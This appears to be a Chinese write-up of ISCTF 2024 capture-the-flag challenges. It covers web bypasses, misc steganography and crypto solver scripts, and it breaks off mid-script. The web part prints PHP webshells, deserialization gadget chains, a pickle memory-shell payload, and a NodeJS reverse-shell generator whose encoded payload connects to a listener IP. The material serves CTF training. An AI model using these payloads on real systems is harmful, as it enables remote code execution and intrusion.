Web
25时晓山瑞希生日会
经典 HTTP 头伪造,伪造流程如下:
User-Agent: Project Sekai //伪造UA头
X-Forwarded-For:127.0.0.1 //伪造本地用户
伪造日期是本题最大的坑点,一直在想怎么伪造 25 时,没想到是二刺螈
搜索得知 25时生日会 是在八月二十七举办,伪造日期即可得到 flag
Date: Tue, 27 Aug 2024 12:41:59 GMT
小蓝鲨的冒险
源码如下:
<?phperror_reporting(0);
highlight_file(__FILE__);
$a = "isctf2024";
$b = $_GET["b"];
@parse_str($b);
echo "小蓝鲨开始闯关,你能帮助他拿到flag吗?<br>";
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {$num = $_POST["num"];echo "第一关有惊无险!小蓝鲨壮着胆子接着继续往下走!<br>";if($num == 2024){die("QAQ小蓝鲨误入陷阱,不怕,再接再厉!");}if(preg_match("/[a-z]/i", $num)){die("陷阱太多QAQ");}if(intval($num,0) == 2024){echo "到这了难道还要放弃吗?<br>";if (isset($_GET['which'])){$which = $_GET['which'];echo "小蓝鲨貌似在哪里见过这个陷阱O.o?继续加油,还差最后一步了!";switch ($which){case 0:print('QAQ');case 1:case 2:require_once $which.'.php';echo $flag;break;default:echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false);break;}}}
}
第一层:考察 md5 弱比较和 parse_str 函数
0e开头后面全为数字,弱类型比较都等于0,用 s878926199a 绕过
parse_str 把字符串 a[0] 当成变量解析,从而赋值
第二层:num 中不能有字母,还不能等 2024,,同时还要绕过 intval 函数
使用进制转化绕过,八进制中不含字母,可以使用0 3750 绕过
第三层:直接写个 flag 就绕过了
综上,写入以下 payload 即可绕过:
?b=a[0]=s878926199a&which=flag
num=03750
ezSSTI
先测试是否是正常的 SSTI,输入 {{2*2}} 看是否能正常解析
成功进行运算,说明是一个正常的 SSTI,可以直接用 fenjing 一把梭了
先抓包测一下参数,发现参数是 user_input
按照要求填入请求方式和请求参数,成功绕过,执行命令得到 flag
UP!UPloader
文件上传,直接上传个一句话木马,如下:
<?php @eval($_POST['a']); ?>
提示 include.php 文件包含,访问发现可以读取任意文件
使用伪协议读取一下 upload.php 的源码,看一下上传逻辑
php://filter/read=convert.base64-encode/resource=upload.php
base64 解码,upload.php 源代码如下:
<?php
error_reporting(0);
$file = $_FILES['file'];
if (isset($file) && $file['size'] > 0) {$ext = pathinfo($file['name'], PATHINFO_EXTENSION);$name = pathinfo($file['name'], PATHINFO_FILENAME);$dir_name = $name . '.' . $ext;$upload_dir = './uploads/';if (!is_dir($upload_dir)) {mkdir($upload_dir, 0755, true);}if (move_uploaded_file($file['tmp_name'], $upload_dir . md5($dir_name) . '.' . $ext)) {echo "æ件ä¸ä¼ æåï¼ä¸è¿æ件路å¾å¯ä¸å¥½æ¾å~ä»ä¹ï¼ä»ä¹include.phpï¼æä¸ç¥éåã" ;} else {echo "æ件åå¨å¤±è´¥ï¼æªç¥åå ......";}die();
}
?>
文件上传到 ./uploads/ 目录下,文件名被重命名成 md5 加密+后缀,按照逻辑访问
/uploads/f3b94e88bd1bd325af6f62828c8785dd.php
访问木马文件,执行 env 命令,得到 flag
1z_php
源码如下:
<?php
highlight_file('index.php');
#一句话木马,神神又奇奇
if(isset($_POST['J'])){$call=$_POST['J'];$dangerous_commands = ['cat', 'tac', 'head', 'nl', 'more', 'less', 'tail', 'vi', 'sed', 'od'];foreach ($dangerous_commands as $command) {if (preg_match("/$command/i", $call)) {die("这些个危险函数可不兴使啊");}}system($call);
}
?>
就简单过滤了一些读文件的命令,先 ls /看一下根目录,发现 flag 文件 f14g
使用关键字转义绕过,得到 flag
ca\t /f14g
ezserialize
题如其名,本以为是什么花里胡哨的,直接将 isAdmin 设置成 1,变量覆盖即可绕过
$payload = new User('hacker');
$payload->isAdmin = true;
echo serialize($payload);?data=O:4:"User":2:{s:8:"username";s:6:"hacker";s:7:"isAdmin";b:1;}
ezrce
源码如下:
<?phperror_reporting(0);if (isset($_GET['cmd'])) {$cmd = $_GET['cmd'];if (preg_match("/flag|cat|ls|echo|php|bash|sh|more| |less|head|tail|[\|\&\>\<]|eval|system|exec|popen|shell_exec/i", $cmd)) {die("Blocked by security filter!");} else {eval($cmd);}
} else {highlight_file(__FILE__);
}
?>
利用无数字字母 rce 之取反,即可绕过。脚本如下:
<?php
//在命令行中运行/*author yu22x*/fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
payload 如下:
?cmd=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);
小蓝鲨的秘密
这题点开链接就是官网,能直接打官网嘛,包不能的,考虑重定向
抓一个点击链接的包即可得到 flag
天命人
源码如下:
<?php
error_reporting(0);
# 帮天命人搜集法宝,重获齐天之姿!
class Wuzhishan{public $wu="俺老孙定要踏破这五指山!<br>";public $zhi;public $shan;function __get($j){echo "此地阴阳二气略显虚浮,加上刚刚带入的阳气,或可借此遁逃!<br>";$yin="s214587387a";$yang=$_GET['J'];if (md5($yin)==$yang&&md5($yin)==md5($yang)){echo "哦?又一个不信天命之人?行了,拿了东西速速离开吧<br>";system('cat /flag');}}
}
class Huoyanjinjing{public $huoyan;public $jinjing;function __get($huo){$this->huoyan="火眼能洞察一切邪祟!<br>";echo $this->huoyan->jinjing;}function __invoke(){$this->jinjing="金睛能看破世间迷惘!<br>";echo $this->huoyan->jinjing;}
}
class Dinghaishenzhen{public $Jindou="一个筋斗能翻十万八千里!<br>";public $yun;function __toString(){$f=$this->yun;$f();return "你真的逃出去了吗?天命人?<br>";}
}
class Jingdouyun{public $Qishier=72;public $bian="看俺老孙七十二变!<br>";function __sleep(){echo "三更敲门,菩提老祖送我筋斗云...<br>";echo new Jindouyun();}
}
class Tianmingren {public $tianming;public $ren;function __destruct(){echo "迷途中的羔羊,你相信天命吗?<br>";echo $this->tianming;}
}
$data = unserialize($_POST['Wukong']);
throw new Exception('开局一根棍,装备全靠打。');
命令执行部分是个简单的 md5 绕过
0e215962017 的 MD5 值也是由 0e 开头,在 PHP 弱类型比较中相等
链子部分就正常的构造,链子如下:
Tianmingren->Dinghaishenzhen->Huoyanjinjing->Wuzhishan
- 先创建 Tianmingren 对象触发 __destruct() 魔术方法
- 将tianming 赋值为 Dinghaishenzhen 对象触发 __toString() 魔术方法
- 将属性 yun 赋值为Huoyanjinjing 对象,对象被当成函数调用触发 __invoke() 魔术方法
- 将属性 huoyan 赋值为 Wuzhishan 对象,访问对象不存在的属性 jinjing 触发 __get() 魔术方法
$payload=new Tianmingren();
$payload->tianming=new Dinghaishenzhen();
$payload->tianming->yun = new Huoyanjinjing();
$payload->tianming->yun->huoyan=new Wuzhishan();
然后需要绕过 throw new Exception,反序列化后直接触发抛出异常导致程序不能正常往下走
使用数组进行绕过
$exp = array($payload,0);
echo (serialize($exp));// a:2:{i:0;O:11:"Tianmingren":2:{s:8:"tianming";O:15:"Dinghaishenzhen":2:{s:6:"Jindou";s:40:"一个筋斗能翻十万八千里!<br>";s:3:"yun";O:13:"Huoyanjinjing":2:{s:6:"huoyan";O:9:"Wuzhishan":3:{s:2:"wu";s:40:"俺老孙定要踏破这五指山!<br>";s:3:"zhi";N;s:4:"shan";N;}s:7:"jinjing";N;}}s:3:"ren";N;}i:1;i:0;}
将输出 payload 的第二个值索引置空即可绕过异常机制,强制触发__destruct()
a:2:{i:0;O:11:"Tianmingren":2:{s:8:"tianming";O:15:"Dinghaishenzhen":2:{s:6:"Jindou";s:40:"一个筋斗能翻十万八千里!<br>";s:3:"yun";O:13:"Huoyanjinjing":2:{s:6:"huoyan";O:9:"Wuzhishan":3:{s:2:"wu";s:40:"俺老孙定要踏破这五指山!<br>";s:3:"zhi";N;s:4:"shan";N;}s:7:"jinjing";N;}}s:3:"ren";N;}i:0;i:0;}
传入 payload 即可得到 flag
千年樱
第一层:
伪造 cookie:
from=ISCTF
第二层:
关键源码如下:
if(file_get_contents($_POST['name']) === 'ISCTF'){echo $dir2;}
使用 data 伪协议读文件
name=data://text/plain,ISCTF
第三层:
<?php
include "dir.php";
highlight_file(__FILE__);function waf($str){if(preg_match("/http|php|file|:|=|\/|\?/i", $str) ){die('bad hacker!!!');}
}
$poc = $_POST['poc'];
waf($poc);
$filename = "php://filter/$poc/resource=/var/www/html/badChar.txt";
$result = file_get_contents($filename);
if($result === "sakura for ISCTF"){echo "yes! master!";eval($_POST['cmd']);
}if($_GET['output'] == 114514 && !is_numeric($_GET['output'])){var_dump($result);
}
?>
114514 后面加 a 绕过
2024XYCTF 有道类似的题,连连看到底是连连什么看
https://blog.csdn.net/uuzeray/article/details/138274291
使用工具 php_filter_chain 进行伪造,工具地址如下:
https://github.com/synacktiv/php_filter_chain_generator
生成命令如下:
python php_filter_chain_generator.py --chain "sakura for ISCTF<?php"
按照文章所说,直接打的话后面会有脏数据,手动加 string.strip_tags 过滤器来去除php标签
按照要求传参绕过,然后正常命令执行得到 flag
小蓝鲨的临时存储室
文件上传,先传一个一句话木马,上传成功
<?php @eval($_POST['a']); ?>
蚁剑连接,连接成功,看到根目录有 flag,尝试直接读,没有权限,当然没这么简单
尝试 suid 提权失败,试了一会发现传的马子突然失效了,想到定时任务将文件删除了
在根目录发现一个文件,可以将 uplods 目录下所有 php 后缀的文件删除,
定时任务有 root 权限,利用定时任务将根目录下的 flag 读取到 /tmp/1.txt,等待一会即可得到 flag
ezlogin
关键源码如下:
function auth(req, res, next) {if(req.cookies.token){const user = serialize.unserialize(Buffer.from(req.cookies.token,'base64').toString());if (!user.username) {return res.status(401).redirect('/login');}}else{return res.status(401).redirect('/login');}next();
}
看见 unserialize 函数就想到 js 反序列化,搜到一个 cve,文章如下:
https://cloud.tencent.com/developer/article/1374840
照着文章直接打就行
使用 nodejsshell.py 生成反弹 shell 的 payload
nodejsshell.py 如下:
#!/usr/bin/python
# Generator for encoded NodeJS reverse shells
# Based on the NodeJS reverse shell by Evilpacket
# https://github.com/evilpacket/node-shells/blob/master/node_revshell.js
# Onelineified and suchlike by infodox (and felicity, who sat on the keyboard)
# Insecurety Research (2013) - insecurety.net
import sysif len(sys.argv) != 3:print "Usage: %s <LHOST> <LPORT>" % (sys.argv[0])sys.exit(0)IP_ADDR = sys.argv[1]
PORT = sys.argv[2]def charencode(string):"""String.CharCode"""encoded = ''for char in string:encoded = encoded + "," + str(ord(char))return encoded[1:]print "[+] LHOST = %s" % (IP_ADDR)
print "[+] LPORT = %s" % (PORT)
NODEJS_REV_SHELL = '''
var net = require('net');
var spawn = require('child_process').spawn;
HOST="%s";
PORT="%s";
TIMEOUT="5000";
if (typeof String.prototype.contains === 'undefined') { String.prototype.contains = function(it) { return this.indexOf(it) != -1; }; }
function c(HOST,PORT) {var client = new net.Socket();client.connect(PORT, HOST, function() {var sh = spawn('/bin/sh',[]);client.write("Connected!\\n");client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);sh.on('exit',function(code,signal){client.end("Disconnected!\\n");});});client.on('error', function(e) {setTimeout(c(HOST,PORT), TIMEOUT);});
}
c(HOST,PORT);
''' % (IP_ADDR, PORT)
print "[+] Encoding"
PAYLOAD = charencode(NODEJS_REV_SHELL)
print "eval(String.fromCharCode(%s))" % (PAYLOAD)
需要用 python2 运行,命令如下:
python nodejsshell.py 156.238.233.78 2233
得到反弹 shell 的 payload,接着生成反序列化的 payload:
{"rce":"_$$ND_FUNC$$_function (){ eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,53,54,46,50,51,56,46,50,51,51,46,55,56,34,59,10,80,79,82,84,61,34,50,50,51,51,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}()"}
先登陆下,生成一个 cookie,登陆成功后抓包就有了 cookie 字段,将 payload base64 编码后传入 cookie 字段,攻击机开启监听
nc -lvvp 2233
然后 burp 发包
成功反弹 shell,执行命令得到 flag
小蓝鲨的故事
一个简单的界面,啥也没有,dirsearch 扫一下目录
访问 /robots.txt 路由,根据提示知道这是 key
利用 key 解 session,发现用户名为 www-data
python flask_session_cookie_manager3.py decode -c "eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.Zzc91w.1Gfyu8HAcfSlU3nsh8AD6NVIJNs" -s "nkh4vRTU"
尝试伪造 root 身份无果,发现主界面的提示,Read Hacker!!!,尝试访问 /Hacker 路由
源码里看到 我是ISctf_Hacker!!!!!!!!!!!!,尝试伪造ISctf_Hacker 身份访问 /flag 路由
替换伪造的 session,发包得到 flag
新闻系统
先按照给出的普通用户账号,然后伪造 admin 的 seesion 访问 /admin 路由
python flask_session_cookie_manager3.py decode -c ".eJyrVipILC4uzy9KUbJSKkktLjE0NFTSUSouSSwpLQYKlRanFgH5ICovMTcVqkipFgAb-RLg.ZzdI_A.JoRfLg7lmCaFWs4HkMjY5f2taxs" -s "W3l1com_isCTF"python flask_session_cookie_manager3.py encode -t "{'password': 'admin222', 'status': 'admin', 'username': 'admin'}" -s "W3l1com_isCTF"
替换伪造的 session 后,访问 /admin 路由,进入新闻管理界面
然年这后半部分跟 2024moectf 的 pickle 题很像,出题人把回显位过滤了,想到打内存马
payload 如下:
import base64opcode = b'''cbuiltins
eval
(S"__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('cat /flag').read())"
tRc__main__
News
(S''
S''
tR.'''exp = base64.b64encode(opcode)
print(exp.decode())#Y2J1aWx0aW5zCmV2YWwKKFMiX19pbXBvcnRfXygnc3lzJykubW9kdWxlc1snX19tYWluX18nXS5fX2RpY3RfX1snYXBwJ10uYmVmb3JlX3JlcXVlc3RfZnVuY3Muc2V0ZGVmYXVsdChOb25lLFtdKS5hcHBlbmQobGFtYmRhIDpfX2ltcG9ydF9fKCdvcycpLnBvcGVuKCdjYXQgL2ZsYWcnKS5yZWFkKCkpIgp0UmNfX21haW5fXwpOZXdzCihTJycKUycnCnRSLg==
在添加新闻处触发 pickle 反序列化,得到 flag
Misc
小蓝鲨的签到01
这张二维码甚至都不用拼,微信直接扫就能扫到,扫码发送"ISCTF2024"即可获取flag
flag 值:ISCTF{Welcome_to_blueshark}
小蓝鲨的签到02
010 打开图片,文件尾就是 flag
flag 值:ISCTF{blueshark!_@#2024$%^&*}
游园地1
百度识图,全是几乎一样的图片,随便点开一张,观察背景几乎都一样
百度地图搜索 武汉中山公园,得到具体位置
flag 值: ISCTF{湖北省_武汉市_江汉区_武汉中山公园}
数字迷雾:在像素中寻找线索
lsb 隐写,这题也是有点小问题,最后的大括号没封起来,我以为是一半 flag,另一半没找到,后来试了下将 | 换成大括号就行
使用 stegslove 乱点点,或者直接随波逐流得到 flag
flag 值:SCTF{+9qn1DKdun!glAK}
秘密
文件尾 FFD9 之后还有数据,一眼盯帧,oursecret 隐写
oursecret文件特征:文件尾部有特殊字节9E97BA2A
010 搜索关键字 pass 找到一个密码
使用工具 oursecret 提取文件,得到一个文本文件
零宽解密,使用默认零宽字符即可,得到 flag
https://330k.github.io/misc_tools/unicode_steganography.html
watermark
手快抢到了一血,这题考察的是隐水印技术
图片隐水印,用工具提取,得到 key2:64oRvUfta9yJsBv
文本隐水印,比较小众,小而美工具提取,得到 key1:FAAqDPjpgKJiB6m
https://www.guofei.site/pictures_for_blog/app/text_watermark/v1.html
拼接一下就是压缩包密码,FAAqDPjpgKJiB6m64oRvUfta9yJsBv
解压搜索 ISCTF 即可得到 flag
flag 值:ISCTF{Watermark_is_used_2_protect%digital*assets}
赢!rar
上课无聊在看,使用 MT 管理器 16 进制打开看到密码 admin123456
解压 255 个一样的文件,但是有一个比较奇怪的 123.txt_flag.txt,打开是这
KGJB1J2NvEaJVR3xHNZFdMKsV6G2VTE++
随波逐流一把梭,得到 flag
flag 值:ISCTF{Beat_SfTian!!!!}
小蓝鲨的问卷
填写问卷即可得到 flag
flag 值:ISCTF{Meet_each_other_everywhere!!!}
Crypto
密码做题几乎全靠 AI 了,LLM 永远的神!!!
我和小蓝鲨的秘密
把源码给 AI,让 AI 写个脚本,分析如下
脚本如下,运行即可得到 flag 图片
from PIL import Image
import numpy as np
from Crypto.Util.number import inverse# 已知的 n 和 e
n = 29869349657224745144762606999
e = 65537# 假设你已经分解了 n,得到了 p 和 q
p = 160216064374859
q = 186431677583461# 计算 phi 和私钥 d
phi = (p - 1) * (q - 1)
d = inverse(e, phi)print(d)
# 加载加密的图像数组
encrypted_array = np.load("encrypted_image.npy",allow_pickle=True)# 获取图像的尺寸
h, w, _ = encrypted_array.shape# 解密图像数组
decrypted_array = np.zeros_like(encrypted_array, dtype=np.uint8)
for i in range(h):for j in range(w):r = pow(encrypted_array[i, j, 0], d, n)g = pow(encrypted_array[i, j, 1], d, n)b = pow(encrypted_array[i, j, 2], d, n)decrypted_array[i, j, 0] = rdecrypted_array[i, j, 1] = gdecrypted_array[i, j, 2] = b# 将解密后的数组转换为图像
decrypted_image = Image.fromarray(decrypted_array)
decrypted_image.save("decrypted_flag.jpg")
print("图片已解密并保存为 decrypted_flag.jpg")
ChaCha20-Poly1305
AI 简单分析了下,说的是 key 必须是 32 位 16 进制数,但是给出的 key 却不知道是啥乱码,随波逐流梭一下,base92 解一下刚好得到 32 位 16 进制数:
利用 AI 给出的解密脚本,得到 flag
from Crypto.Cipher import ChaCha20_Poly1305
import binascii# 读取密钥
with open('key.txt', 'r') as key_file:key_hex = key_file.read().strip()key = binascii.unhexlify(key_hex)# 假设你已经保存了随机数、认证标签和密文
nonce_hex = 'd8ebeedec812a6d71240cc50' # 替换为实际的随机数
tag_hex = '70ffcc508bf4519e7616f602123c307b' # 替换为实际的认证标签
ct_hex = "20408b9fc498063ad53a4abb53633a6a15df0ddaf173012d620fa33001794dbb8c038920273464e13170e26d08923aeb"nonce = binascii.unhexlify(nonce_hex)
tag = binascii.unhexlify(tag_hex)
ct = binascii.unhexlify(ct_hex)# 初始化解密器
cipher = ChaCha20_Poly1305.new(key=key, nonce=nonce)plaintext = cipher.decrypt_and_verify(ct, tag)
print(f"Decrypted Flag: {plaintext.decode('utf-8')}")# ISCTF{Blueshark_Swims_Through_ChaCha20_Poly1305}
蓝鲨的数学题
m = 5321153468370294351697008906248782883193902636120413346203705810525086437271585682015110123362488732193020749380395419994982400888011862076022065339666193c = 7383779796712259466884236308066760158536557371789388054326630574611014773044467468610300619865230550443643660647968413988480055366698747395046400909922513
hint1:模数是2**512 这是一个离散对数的问题代码中的n、m和c是大整数,分别代表模数、底数和结果。sympy.discrete_log函数用于计算离散对数,即找到一个整数x,使得b^x ≡ c (mod m),其中b是底数,c是结果,m是模数。
脚本如下:
n = 13407807929942597099574024998205846127479365820592393377723561443721764030073546976801874298166903427690031858186486050853753882811946569946433649006084096m = 5321153468370294351697008906248782883193902636120413346203705810525086437271585682015110123362488732193020749380395419994982400888011862076022065339666193c = 7383779796712259466884236308066760158536557371789388054326630574611014773044467468610300619865230550443643660647968413988480055366698747395046400909922513import sympyflag=sympy.discrete_log(2**512,c,m)import binasciiprint(binascii.unhexlify(hex(flag)[2:]))
蓝鲨的费马
import libnum
import gmpy2
from Crypto.Util.number import *flag=b'ISCTF{********}'
m=bytes_to_long(flag)p=libnum.generate_prime(1024)
q=libnum.generate_prime(1024)
n=p*q
e=0x10001
c=pow(m,e,n)
d=inverse(e,(p-1)*(q-1))
leak = (d+(pow(p,q,n)+pow(q,p,n)))%nprint("c=", c)
print("n=", n)
print("leak=", leak)"""
c= 8989289659072309605793417141528767265266446236550650613514493589798432446586991233583435051268377555448062724563967695425657559568596372723980081067589103919296476501677424322525079257328042851349095575718347302884996529329066703597604694781627113384086536158793653551546025090807063130353950841148535682974762381044510423210397947080397718080033363000599995100765708244828566873128882878164321817156170983773105693537799111546309755235573342169431295776881832991533489235535981382958295960435126843833532716436804949502318851112378495533302256759494573250596802016112398817816155228378089079806308296705261876583997
n= 13424018200035368603483071894166480724482952594135293395398366121467209427078817227870501294732149372214083432516059795712917132804111155585926502759533393295089100965059106772393520277313184519450478832376508528256865861027444446718552169503579478134286009893965458507369983396982525906466073384013443851551139147777507283791250268462136554061959016630318688169168797939873600493494258467352326974238472394214986505312411729432927489878418792288365594455065912126527908319239444514857325441614280498882524432151918146061570116187524918358453036228204087993064505391742062288050068745930452767100091519798860487150247
leak= 9192002086528025412361053058922669469031188193149143635074798633855112230489479254740324032262690315813650428270911079121913869290893574897752990491429582640499542165616254566396564016734157323265631446079744216458719690853526969359930225042993006404843355356540487296896949431969541367144841985153231095140361069256753593550199420993461786814074270171257117410848796614931926182811404655619662690700351986753661502438299236428991412206196135090756862851230228396476709412020941670878645924203989895008014836619321109848938770269989596541278600166088022166386213646074764712810133558692545401032391239330088256431881
"""
e是公钥指数,c是加密后的消息,n是模数,leak是部分泄露的信息。通过一个循环,尝试不同的k值,计算私钥d。这里的计算利用了d = (1 + k * (n - leak + 1)) // (e - k)的公式,这是基于泄露信息和中国剩余定理的逆向工程。使用计算出的d值,通过pow(c, d, n)尝试解密消息c。如果解密后的消息包含字符串"ISCTF",则认为找到了正确的解密密钥,并打印出解密后的消息。
脚本如下:
import libnum
import gmpy2
from Crypto.Util.number import *e=0x10001
c= 8989289659072309605793417141528767265266446236550650613514493589798432446586991233583435051268377555448062724563967695425657559568596372723980081067589103919296476501677424322525079257328042851349095575718347302884996529329066703597604694781627113384086536158793653551546025090807063130353950841148535682974762381044510423210397947080397718080033363000599995100765708244828566873128882878164321817156170983773105693537799111546309755235573342169431295776881832991533489235535981382958295960435126843833532716436804949502318851112378495533302256759494573250596802016112398817816155228378089079806308296705261876583997
n= 13424018200035368603483071894166480724482952594135293395398366121467209427078817227870501294732149372214083432516059795712917132804111155585926502759533393295089100965059106772393520277313184519450478832376508528256865861027444446718552169503579478134286009893965458507369983396982525906466073384013443851551139147777507283791250268462136554061959016630318688169168797939873600493494258467352326974238472394214986505312411729432927489878418792288365594455065912126527908319239444514857325441614280498882524432151918146061570116187524918358453036228204087993064505391742062288050068745930452767100091519798860487150247
leak= 9192002086528025412361053058922669469031188193149143635074798633855112230489479254740324032262690315813650428270911079121913869290893574897752990491429582640499542165616254566396564016734157323265631446079744216458719690853526969359930225042993006404843355356540487296896949431969541367144841985153231095140361069256753593550199420993461786814074270171257117410848796614931926182811404655619662690700351986753661502438299236428991412206196135090756862851230228396476709412020941670878645924203989895008014836619321109848938770269989596541278600166088022166386213646074764712810133558692545401032391239330088256431881for k in range(65535):
d = (1+k*(n-leak+1))//(e-k)
m = pow(c,d,n)
if "ISCTF" in str(long_to_bytes(m)):print(long_to_bytes(m))break
解方程
from Cryptodome.Util.number import *
from random import *
from gmpy2 import *
import uuidflag1='ISCTF{'+str(uuid.uuid4())+'}'m1=bytes_to_long(flag1.encode())
def get_p():BITS = 256bits = 777oder = 4a = randint(1 << bits, 1 << bits + 1)p=getPrime(BITS)p1 = p**oder+areturn p,p1p,p1=get_p()s=getPrime(1024)
q=getPrime(512)
n=p*q**4
e=65537
c1=pow(s,e,n)
c=pow(s**3+1,m1,s**5)print("c1=",c1)
print("c =",c)
print("n =",n)
print("p1 =",p1)'''c1= 671390498592586008552998377599101093977542184109077889081448730480869018650843045119891777468161631085086340705902115332025675787789530562679603254577287153918966364523848382506106179394235772395029788721306186952016420794804145631124905952103136061076643266886961178241381892015555099638200222249447194504082451341122502519637821695210573997670753981061458264118355417889153180841281073262935937836447460470926729282834006229571453935760593644658459098721652426154970766417292435960463905367868753821950303919781798234432998272038029063155193184039985018137026245365188171178677898869374676546799536208952198558258306460302868688355653022725288744014143221560882404431652751343944983442109327
c = 8641190030376811670503537177719719233418166235794962118828671236836174132083208517733734760455990850156371205118391537919769888760384574011411232571257192285256730733174399297826587479261381970232162702657952399683882650083181048279650913795429823628186888540572704055008102853692060360140858142686334722286525699998854566609078547487420929457446776757558492454916447188774943818970599916514467335772992690805247630814156710861067503956707301402347944233660194395192354000788262111000900574820275786269075882923600474781645848712157460135387134196156906258218217831988828360827613420801773911833194097791649069743116686685667300622630909231822986237104627385544169938138006242341269672868611269202418482629393372933567053272565557137741441902377611003983050084491513897727856173625922194300103448148829004025229567101761111396110940066254801762424343522707712480796358754008120503317686600144600226149617189681233392693738216138797012278242152852923361635415564580582002132107424154426980566696622448291815571736676562214017436
n = 1076246859437269645898003764327104347852443049519429833372038915264009774423737482018987571807662568251485615769880354898666799006772572239466617428164721157850526408878346223839884319846641438292436373441749602341461361190584638190903978829024853974880636148520803145113551453821058269641304504880310836801494499720662704717315748614372503735165114899680682056477494953525794354656896362929510309669119173103242509398650608116835276076364248473952717811633756784397347121601006659623317417388283638159905288128181587304367489096254611610975352096229116491567502061775862811850081040850421151385474249060884479729988512713640536139010928836126719149031115182144744359297169350288886555784650111
p1 = 145356063641618996012874664536921616978986640263438210169671010403677822239343590475177543891188656103067696467174379510912427160232486984044862545338401652910975162942038201716552753723984593267892098222213049269335313670049037479410635628460505327693176152061750827570561482918795206276991967169087371403553'''
脚本如下:
c = 8641190030376811670503537177719719233418166235794962118828671236836174132083208517733734760455990850156371205118391537919769888760384574011411232571257192285256730733174399297826587479261381970232162702657952399683882650083181048279650913795429823628186888540572704055008102853692060360140858142686334722286525699998854566609078547487420929457446776757558492454916447188774943818970599916514467335772992690805247630814156710861067503956707301402347944233660194395192354000788262111000900574820275786269075882923600474781645848712157460135387134196156906258218217831988828360827613420801773911833194097791649069743116686685667300622630909231822986237104627385544169938138006242341269672868611269202418482629393372933567053272565557137741441902377611003983050084491513897727856173625922194300103448148829004025229567101761111396110940066254801762424343522707712480796358754008120503317686600144600226149617189681233392693738216138797012278242152852923361635415564580582002132107424154426980566696622448291815571736676562214017436c1= 671390498592586008552998377599101093977542184109077889081448730480869018650843045119891777468161631085086340705902115332025675787789530562679603254577287153918966364523848382506106179394235772395029788721306186952016420794804145631124905952103136061076643266886961178241381892015555099638200222249447194504082451341122502519637821695210573997670753981061458264118355417889153180841281073262935937836447460470926729282834006229571453935760593644658459098721652426154970766417292435960463905367868753821950303919781798234432998272038029063155193184039985018137026245365188171178677898869374676546799536208952198558258306460302868688355653022725288744014143221560882404431652751343944983442109327n = 1076246859437269645898003764327104347852443049519429833372038915264009774423737482018987571807662568251485615769880354898666799006772572239466617428164721157850526408878346223839884319846641438292436373441749602341461361190584638190903978829024853974880636148520803145113551453821058269641304504880310836801494499720662704717315748614372503735165114899680682056477494953525794354656896362929510309669119173103242509398650608116835276076364248473952717811633756784397347121601006659623317417388283638159905288128181587304367489096254611610975352096229116491567502061775862811850081040850421151385474249060884479729988512713640536139010928836126719149031115182144744359297169350288886555784650111from gmpy2 import irootfrom Crypto.Util.number import *p1 = 145356063641618996012874664536921616978986640263438210169671010403677822239343590475177543891188656103067696467174379510912427160232486984044862545338401652910975162942038201716552753723984593267892098222213049269335313670049037479410635628460505327693176152061750827570561482918795206276991967169087371403553 - 